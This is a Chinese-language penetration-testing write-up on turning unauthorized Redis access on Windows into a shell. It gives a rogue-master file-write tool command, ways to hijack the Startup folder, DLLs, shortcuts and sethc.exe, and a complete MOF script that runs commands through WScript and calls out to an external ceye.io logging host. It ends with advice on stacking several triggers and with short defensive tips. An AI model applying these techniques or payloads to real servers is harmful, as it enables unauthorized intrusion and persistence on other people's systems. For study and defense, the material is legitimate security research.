踩坑记录-Redis(Windows)的getshell
字数 1661 2025-08-25 22:59:09
Windows环境下Redis未授权访问GetShell技术研究
0x00 背景概述
Redis在Windows环境下的未授权访问或弱口令漏洞利用与Linux环境有显著差异。Linux环境下常见的利用方式(如写入Webshell、计划任务、SSH公钥或主从RCE)在Windows环境中大多不适用,主要原因包括:
- Windows启动项和计划任务不以文本形式保存在固定位置
- Web目录路径获取困难
- Windows版Redis最新版本停留在3.2,无法利用主从RCE漏洞
0x01 无损文件写入技术
RedisWriteFile工具
该工具通过模拟Redis主从同步实现无损文件写入,避免携带脏数据。
使用方式:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
要求:
- 目标Redis服务器能够回连攻击者服务器
- 工具运行后会设置目标Redis为slave,同步数据并写入指定文件
0x02 GetShell技术路线
1. 理想情况:Webshell写入
条件:
- 目标机器运行Web服务
- 已知Web绝对路径
利用方式:直接写入Webshell
2. 启动项利用
路径:
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
特点:
- 需要猜测或获取用户名
- 需要Redis服务以高权限(如Administrator或SYSTEM)运行
- 需要等待系统重启才能触发
错误情况:
- 目录不存在:写操作失败
- 目录存在但无权限:写操作失败
- 目录存在且有权限:写入成功
3. 文件篡改与劫持
(1) 系统DLL劫持
- 需要目标重启或注销
- 成功率较低
(2) 特定软件DLL劫持
- 需要知道软件绝对路径
- 需要用户点击触发
(3) 快捷方式覆盖
- 需要知道用户名
- 需要用户点击触发
(4) 配置文件覆盖提权
- 目标无需点击或只需一次点击
- 取决于具体软件
(5) sethc.exe粘滞键替换
- 需要3389登录权限
- 需要系统目录写入权限
注意事项:
- 系统目录操作需要Redis以SYSTEM权限运行或关闭UAC
- Windows Vista及更高版本默认开启UAC限制
4. MOF文件利用(Windows Server 2003)
路径:
C:/windows/system32/wbem/mof/nullevt.mof
特点:
- 默认每5秒执行一次监控
- 仅Windows Server 2003及以下系统有效
- 无需UAC绕过
示例MOF脚本:
#pragma namespace(root\\subscription")
instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io");
};
instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $EventFilter;
};
执行结果:
- 成功执行:文件移至good目录
- 执行失败:文件移至bad目录
- 几秒内即可触发命令执行
0x03 技术总结
利用条件对比
| 技术路线 | 所需条件 | 触发方式 | 适用系统 |
|---|---|---|---|
| Webshell | Web路径已知 | 即时访问 | 所有版本 |
| 启动项 | 用户名已知+高权限 | 系统重启 | 所有版本 |
| DLL劫持 | 路径已知 | 程序执行 | 所有版本 |
| 快捷方式 | 用户名已知 | 用户点击 | 所有版本 |
| MOF | 无 | 自动执行 | Win2003 |
最佳实践建议
-
优先尝试:
- 常见用户名目录写入(Administrator、Guest等)
- MOF文件写入(针对Win2003)
- 系统目录写入尝试(检测权限级别)
-
被动等待型利用:
- 同时部署多种触发方式(启动项+快捷方式+DLL劫持)
- 提高触发概率
-
权限检测:
- 尝试写入系统目录检测权限级别
- 根据权限级别选择适当利用方式
-
新型探索:
- 关注Windows服务相关利用
- 研究Redis Windows版潜在漏洞
0x04 工具与资源
- RedisWriteFile工具:下载链接
- MOF脚本模板:[参考上文示例]
- 常见Windows用户名列表:[应包含Administrator、Guest等常见账户]
0x05 防御建议
- 为Redis设置强密码认证
- 限制Redis服务运行账户权限
- 启用Windows防火墙限制Redis端口访问
- 定期检查系统启动项和计划任务
- 对系统关键目录设置适当ACL权限
注:本文所述技术仅限安全研究使用,未经授权测试他人系统属违法行为。